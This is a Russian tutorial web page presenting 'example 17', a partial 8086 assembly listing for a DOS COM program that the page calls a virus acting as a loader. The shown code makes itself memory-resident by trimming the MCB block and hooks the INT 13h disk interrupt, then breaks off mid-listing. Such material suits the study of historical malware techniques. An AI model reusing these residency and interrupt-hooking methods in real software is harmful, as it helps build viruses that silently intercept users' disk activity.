Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:
реклама

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.

Назад | Далее

     Вот и сама программа, реализующая представленную блок/схему:


      -----------------------------------------------------------¬
      ¦                         пример 17                        ¦:
      L-----------------------------------------------------------

TITLE   Это - COM. программа N17 -- вирус, выполняющий функции загрузчика
ASSUME        CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment   SEGMENT PARA
              ORG(100h)
Start:
MainProcedure PROC NEAR
              ;
              ;
head:         JMP  Short initial    ;прыжок через данные
              ;
              ;------------------------------ данные -----------------¬
header_info   DB 62 DUP(0)          ;хранилище настроек               ¦
              ;                     ;                                 ¦
              ;                     ;данные (хранилище для            ¦
saved_int13:  DD  0                 ;  адреса стандартного обра-      ¦
              ;¦                    ;  ботчика прерывания 13          ¦
              ;L---------------------- -- 2 слова) --------------------
              ;
              ;
              ;---посадка резидента в MCB-блок------------------------¬
              ;L-------------------------------------------------------
initial:      MOV  AX,CS:[02]                ;берем вершину свободной памяти
              ;                              ; (в параграфах)
              ;
              SUB  AX,20h                    ;уменьшаем ее на 20h (в парагр.)
              ;
              MOV  SI,OFFSET head            ;копируем из источника DS:head
              MOV  ES,AX                     ;копируем в приемник ES:00; в ES
              XOR  DI,DI                     ;  - новая вершина  своб. памяти
              MOV  CX,rezident_end - head
              CLD
              REPE MOVSB
              ;
              MOV  BX,DS                     ;уменьшаем размер МСВ-блока
              DEC  BX                        ;уменьшаем вершину свободной
              MOV  DS,BX                     ;  памяти
              SUB  word ptr DS:[03h],20h
              SUB  word ptr DS:[12h],20h
              ;
              XOR  BX,BX                     ; сохраняем старый вектор
              MOV  DS,BX                     ;   13h в переслан. копии
              MOV  AX,DS:[13h*4+0]
              MOV  word ptr ES:[saved_int13-100h+0],AX
              MOV  AX,DS:[13h*4+2]
              MOV  word ptr ES:[saved_int13-100h+2],AX
              ;
              CLI                          ;кладем в таблицу векторов наш адр.
              MOV  word ptr DS:[13h*4+0],OFFSET int13_treater-100h ;->OFFSET
              MOV  word ptr DS:[13h*4+2],ES  ;------>SEGMENT
              STI
              ;
              PUSH CS                        ; DS = CS (потом пригодится)
              POP  DS
              ;
              PUSH ES                        ; переходим на продолжение (метка
              MOV  AX,resended-head          ;   resended), но уже в резидент-
              PUSH AX                        ;   ной копии
              RETF                           ;
              ;
resended:     ;---корректировка настраиваемых элементов--------------¬
              ;L------------------------------------------------------
              MOV  DX,DS
              ADD  DX,10h                    ; DX = сегментн. адрес конца PSP
              MOV  DI,DS:[118h]              ; DI = адрес relocation table
              ADD  DI,100h                   ; 

Назад | Далее

Оставить комментарий

Комментарий:
можно использовать BB-коды
Максимальная длина комментария - 4000 символов.
 
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог